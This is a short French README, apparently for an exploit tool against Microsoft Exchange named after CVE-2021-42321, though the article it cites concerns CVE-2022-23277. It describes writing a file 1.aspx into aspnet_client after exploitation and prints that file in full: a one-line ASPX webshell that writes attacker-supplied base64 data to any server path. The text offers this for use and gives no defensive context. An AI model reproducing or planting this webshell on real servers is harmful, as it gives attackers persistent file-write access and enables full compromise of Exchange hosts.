exch_CVE-2021-42321

Cet outil est mentionné dans l'article de l'équipe de sécurité 7bits intitulé « DotNet安全-CVE-2022-23277漏洞复现 »

La partie authentification doit être ajoutée manuellement via BurpSuite. Après une exploitation réussie, un fichier 1.aspx sera écrit dans aspnet_client.

webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

Pour plus de détails sur l'exploitation, veuillez vous référer à notre article.

Suivez notre compte public – Zbits2022